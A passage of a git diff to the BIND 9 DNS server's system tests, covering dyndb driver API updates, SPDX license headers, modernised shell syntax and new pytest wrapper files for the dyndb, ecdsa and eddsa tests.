-	result = dns_zone_create(&raw, inst->mctx);
-	if (result != ISC_R_SUCCESS) {
-		log_write(ISC_LOG_ERROR, "create_zone: dns_zone_create -> %s\n",
-			  isc_result_totext(result));
-		goto cleanup;
-	}
+	dns_zone_create(&raw, inst->mctx, 0); /* FIXME: all zones are assigned
+						 to loop 0 */
 	result = dns_zone_setorigin(raw, name);
 	if (result != ISC_R_SUCCESS) {
 		log_write(ISC_LOG_ERROR,
@@ -54,7 +76,7 @@ create_zone(sample_instance_t *const inst, dns_name_t *const name,
 		goto cleanup;
 	}
 	dns_zone_setclass(raw, dns_rdataclass_in);
-	dns_zone_settype(raw, dns_zone_master);
+	dns_zone_settype(raw, dns_zone_primary);
 	dns_zone_setdbtype(raw, 1, zone_argv);
 
 	result = dns_zonemgr_managezone(inst->zmgr, raw);
@@ -107,14 +129,13 @@ publish_zone(sample_instance_t *inst, dns_zone_t *zone) {
 	bool freeze = false;
 	dns_zone_t *zone_in_view = NULL;
 	dns_view_t *view_in_zone = NULL;
-	isc_result_t lock_state = ISC_R_IGNORE;
 
 	REQUIRE(inst != NULL);
 	REQUIRE(zone != NULL);
 
 	/* Return success if the zone is already in the view as expected. */
 	result = dns_view_findzone(inst->view, dns_zone_getorigin(zone),
-				   &zone_in_view);
+				   DNS_ZTFIND_EXACT, &zone_in_view);
 	if (result != ISC_R_SUCCESS && result != ISC_R_NOTFOUND) {
 		goto cleanup;
 	}
@@ -145,7 +166,6 @@ publish_zone(sample_instance_t *inst, dns_zone_t *zone) {
 		CLEANUP_WITH(ISC_R_UNEXPECTED);
 	}
 
-	run_exclusive_enter(inst, &lock_state);
 	if (inst->view->frozen) {
 		freeze = true;
 		dns_view_thaw(inst->view);
@@ -167,7 +187,6 @@ publish_zone(sample_instance_t *inst, dns_zone_t *zone) {
 	if (freeze) {
 		dns_view_freeze(inst->view);
 	}
-	run_exclusive_exit(inst, lock_state);
 
 	return (result);
 }
@@ -222,7 +241,7 @@ activate_zone(sample_instance_t *inst, dns_zone_t *raw) {
 	result = publish_zone(inst, raw);
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(raw, ISC_LOG_ERROR, "cannot add zone to view: %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		goto cleanup;
 	}
 
diff --git a/bin/tests/system/dyndb/driver/zone.h b/bin/tests/system/dyndb/driver/zone.h
index 8a21c236f0..85575a0a5f 100644
--- a/bin/tests/system/dyndb/driver/zone.h
+++ b/bin/tests/system/dyndb/driver/zone.h
@@ -1,5 +1,32 @@
 /*
- * Copyright (C) 2014-2015  Red Hat ; see COPYRIGHT for license
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Copyright (C) Red Hat
+ *
+ * Permission to use, copy, modify, and distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the
+ * above copyright notice and this permission notice appear in all
+ * copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
+ * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
+ * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
+ * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
+ * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+ * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
+ * USE OR PERFORMANCE OF THIS SOFTWARE.
  */
 
 #pragma once
diff --git a/bin/tests/system/dyndb/ns1/named.conf.in b/bin/tests/system/dyndb/ns1/named.conf.in
index bc49e5d64a..d319a2a81e 100644
--- a/bin/tests/system/dyndb/ns1/named.conf.in
+++ b/bin/tests/system/dyndb/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -22,11 +24,12 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	notify yes;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/dyndb/prereq.sh b/bin/tests/system/dyndb/prereq.sh
index e264bf0f01..19e0467f94 100644
--- a/bin/tests/system/dyndb/prereq.sh
+++ b/bin/tests/system/dyndb/prereq.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dyndb/setup.sh b/bin/tests/system/dyndb/setup.sh
index 110e0e3446..82240a7c1b 100644
--- a/bin/tests/system/dyndb/setup.sh
+++ b/bin/tests/system/dyndb/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dyndb/tests.sh b/bin/tests/system/dyndb/tests.sh
index 2fadc0f556..ef02dea8f5 100644
--- a/bin/tests/system/dyndb/tests.sh
+++ b/bin/tests/system/dyndb/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -18,7 +22,7 @@ DIGOPTS="@10.53.0.1 -p ${PORT}"
 RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
 
 newtest() {
-	n=`expr $n + 1`
+	n=$((n + 1))
 	echo_i "${1} (${n})"
 	ret=0
 }
@@ -42,9 +46,9 @@ EOF
 	return 1
     }
 
-    out=`$DIG $DIGOPTS +noall +answer -t $type -q $host`
+    out=$($DIG $DIGOPTS +noall +answer -t $type -q $host)
     echo $out > added.a.out.$n
-    lines=`echo "$out" | grep "$ip" | wc -l`
+    lines=$(echo "$out" | grep "$ip" | wc -l)
     [ $lines -eq 1 ] || {
 	[ "$should_fail" ] || \
 	    echo_i "dig output incorrect for $host $type $cmd: $out"
@@ -53,9 +57,9 @@ EOF
 
     for i in 1 2 3 4 5 6 7 8 9 10
     do
-	out=`$DIG $DIGOPTS +noall +answer -x $ip`
+	out=$($DIG $DIGOPTS +noall +answer -x $ip)
 	echo $out > added.ptr.out.$n
-	lines=`echo "$out" | grep "$host" | wc -l`
+	lines=$(echo "$out" | grep "$host" | wc -l)
 	[ $lines -eq 1 ] && break;
 	$PERL -e 'select(undef, undef, undef, 0.1);'
     done
@@ -72,7 +76,7 @@ test_del() {
     host="$1"
     type="$2"
 
-    ip=`$DIG $DIGOPTS +short $host $type`
+    ip=$($DIG $DIGOPTS +short $host $type)
 
     cat <<EOF > ns1/update.txt
 server 10.53.0.1 ${PORT}
@@ -87,9 +91,9 @@ EOF
 	return 1
     }
 
-    out=`$DIG $DIGOPTS +noall +answer -t $type -q $host`
+    out=$($DIG $DIGOPTS +noall +answer -t $type -q $host)
     echo $out > deleted.a.out.$n
-    lines=`echo "$out" | grep "$ip" | wc -l`
+    lines=$(echo "$out" | grep "$ip" | wc -l)
     [ $lines -eq 0 ] || {
 	[ "$should_fail" ] || \
 	    echo_i "dig output incorrect for $host $type $cmd: $out"
@@ -98,9 +102,9 @@ EOF
 
     for i in 1 2 3 4 5 6 7 8 9 10
     do
-	out=`$DIG $DIGOPTS +noall +answer -x $ip`
+	out=$($DIG $DIGOPTS +noall +answer -x $ip)
 	echo $out > deleted.ptr.out.$n
-	lines=`echo "$out" | grep "$host" | wc -l`
+	lines=$(echo "$out" | grep "$host" | wc -l)
 	[ $lines -eq 0 ] && break
 	$PERL -e 'select(undef, undef, undef, 0.1);'
     done
@@ -114,49 +118,49 @@ EOF
 }
 
 test_add test1.ipv4.example.nil. A "10.53.0.10" || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 test_add test2.ipv4.example.nil. A "10.53.0.11" || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 test_add test3.ipv4.example.nil. A "10.53.0.12" || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 test_add test4.ipv6.example.nil. AAAA "2001:db8::1" || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 test_del test1.ipv4.example.nil. A || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 test_del test2.ipv4.example.nil. A || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 test_del test3.ipv4.example.nil. A || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 test_del test4.ipv6.example.nil. AAAA || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "checking parameter logging"
 grep "loading params for dyndb 'sample' from .*named.conf:" ns1/named.run > /dev/null || ret=1
 grep "loading params for dyndb 'sample2' from .*named.conf:" ns1/named.run > /dev/null || ret=1
 [ $ret -eq 1 ] && echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking dyndb still works after reload"
 rndc_reload ns1 10.53.0.1
 
 test_add test5.ipv4.example.nil. A "10.53.0.10" || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 test_add test6.ipv6.example.nil. AAAA "2001:db8::1" || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 test_del test5.ipv4.example.nil. A || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 test_del test6.ipv6.example.nil. AAAA || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/dyndb/tests_sh_dyndb.py b/bin/tests/system/dyndb/tests_sh_dyndb.py
new file mode 100644
index 0000000000..ca8f7a1e5b
--- /dev/null
+++ b/bin/tests/system/dyndb/tests_sh_dyndb.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_dyndb(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/ecdsa/clean.sh b/bin/tests/system/ecdsa/clean.sh
index 8db3a84359..86aded697e 100644
--- a/bin/tests/system/ecdsa/clean.sh
+++ b/bin/tests/system/ecdsa/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/ecdsa/ns1/named.conf.in b/bin/tests/system/ecdsa/ns1/named.conf.in
index a68caf9d96..da27c58c87 100644
--- a/bin/tests/system/ecdsa/ns1/named.conf.in
+++ b/bin/tests/system/ecdsa/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/ecdsa/ns1/root.db.in b/bin/tests/system/ecdsa/ns1/root.db.in
index c0d7a839a8..3bff1d13a9 100644
--- a/bin/tests/system/ecdsa/ns1/root.db.in
+++ b/bin/tests/system/ecdsa/ns1/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/ecdsa/ns1/sign.sh b/bin/tests/system/ecdsa/ns1/sign.sh
index 55e13009fb..f922225ff4 100644
--- a/bin/tests/system/ecdsa/ns1/sign.sh
+++ b/bin/tests/system/ecdsa/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/ecdsa/ns2/named.conf.in b/bin/tests/system/ecdsa/ns2/named.conf.in
index 198cdbbcec..fd125d3e9d 100644
--- a/bin/tests/system/ecdsa/ns2/named.conf.in
+++ b/bin/tests/system/ecdsa/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/ecdsa/ns3/named.conf.in b/bin/tests/system/ecdsa/ns3/named.conf.in
index 32d8c77d8f..f1a80b67f1 100644
--- a/bin/tests/system/ecdsa/ns3/named.conf.in
+++ b/bin/tests/system/ecdsa/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/ecdsa/setup.sh b/bin/tests/system/ecdsa/setup.sh
index 4dcab50820..86cd1cf1c6 100644
--- a/bin/tests/system/ecdsa/setup.sh
+++ b/bin/tests/system/ecdsa/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -13,7 +15,7 @@ set -e
 
 . ../conf.sh
 
-if $SHELL ../testcrypto.sh ecdsap384sha384; then
+if $SHELL ../testcrypto.sh ecdsap256sha256; then
 	echo "yes" > ecdsa256-supported.file
 fi
 
diff --git a/bin/tests/system/ecdsa/tests.sh b/bin/tests/system/ecdsa/tests.sh
index 0a12a44378..f1210ec059 100644
--- a/bin/tests/system/ecdsa/tests.sh
+++ b/bin/tests/system/ecdsa/tests.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/ecdsa/tests_sh_ecdsa.py b/bin/tests/system/ecdsa/tests_sh_ecdsa.py
new file mode 100644
index 0000000000..98b9eeec05
--- /dev/null
+++ b/bin/tests/system/ecdsa/tests_sh_ecdsa.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_ecdsa(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/eddsa/clean.sh b/bin/tests/system/eddsa/clean.sh
index de6e44207a..42f5f751f0 100644
--- a/bin/tests/system/eddsa/clean.sh
+++ b/bin/tests/system/eddsa/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/eddsa/ns1/named.conf.in b/bin/tests/system/eddsa/ns1/named.conf.in
index a68caf9d96..da27c58c87 100644
--- a/bin/tests/system/eddsa/ns1/named.conf.in
+++ b/bin/tests/system/eddsa/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/eddsa/ns1/root.db.in b/bin/tests/system/eddsa/ns1/root.db.in
index c0d7a839a8..3bff1d13a9 100644
--- a/bin/tests/system/eddsa/ns1/root.db.in
+++ b/bin/tests/system/eddsa/ns1/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/eddsa/ns1/sign.sh b/bin/tests/system/eddsa/ns1/sign.sh
index 7b1425e427..9bf07f05b2 100644
--- a/bin/tests/system/eddsa/ns1/sign.sh
+++ b/bin/tests/system/eddsa/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/eddsa/ns2/example.com.db.in b/bin/tests/system/eddsa/ns2/example.com.db.in
index c50a7875c7..0ecda67646 100644
--- a/bin/tests/system/eddsa/ns2/example.com.db.in
+++ b/bin/tests/system/eddsa/ns2/example.com.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/eddsa/ns2/named.conf.in b/bin/tests/system/eddsa/ns2/named.conf.in
index 198cdbbcec..fd125d3e9d 100644
--- a/bin/tests/system/eddsa/ns2/named.conf.in
+++ b/bin/tests/system/eddsa/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/eddsa/ns2/sign.sh b/bin/tests/system/eddsa/ns2/sign.sh
index 82850ab18b..6c1c47902b 100644
--- a/bin/tests/system/eddsa/ns2/sign.sh
+++ b/bin/tests/system/eddsa/ns2/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/eddsa/ns3/example.com.db.in b/bin/tests/system/eddsa/ns3/example.com.db.in
index 5616fbdcb7..9a1aab6589 100644
--- a/bin/tests/system/eddsa/ns3/example.com.db.in
+++ b/bin/tests/system/eddsa/ns3/example.com.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/eddsa/ns3/named.conf.in b/bin/tests/system/eddsa/ns3/named.conf.in
index 32d8c77d8f..f1a80b67f1 100644
--- a/bin/tests/system/eddsa/ns3/named.conf.in
+++ b/bin/tests/system/eddsa/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/eddsa/ns3/sign.sh b/bin/tests/system/eddsa/ns3/sign.sh
index b36869df41..e501923cc7 100644
--- a/bin/tests/system/eddsa/ns3/sign.sh
+++ b/bin/tests/system/eddsa/ns3/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/eddsa/prereq.sh b/bin/tests/system/eddsa/prereq.sh
index 4034cd75ef..5b1385bed0 100644
--- a/bin/tests/system/eddsa/prereq.sh
+++ b/bin/tests/system/eddsa/prereq.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/eddsa/setup.sh b/bin/tests/system/eddsa/setup.sh
index 3118a8bd44..a0d95a913a 100644
--- a/bin/tests/system/eddsa/setup.sh
+++ b/bin/tests/system/eddsa/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/eddsa/tests.sh b/bin/tests/system/eddsa/tests.sh
index 014ac67eb1..4fe0a0c20b 100644
--- a/bin/tests/system/eddsa/tests.sh
+++ b/bin/tests/system/eddsa/tests.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/eddsa/tests_sh_eddsa.py b/bin/tests/system/eddsa/tests_sh_eddsa.py
new file mode 100644
index 0000000000..6646e36791
--- /dev/null
+++ b/bin/tests/system/eddsa/tests_sh_eddsa.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_eddsa(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/ednscompliance/clean.sh b/bin/tests/system/ednscompliance/clean.sh
index 72d4e72b07..ad6176ae30 100644
--- a/bin/tests/system/ednscompliance/clean.sh
+++ b/bin/tests/system/ednscompliance/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
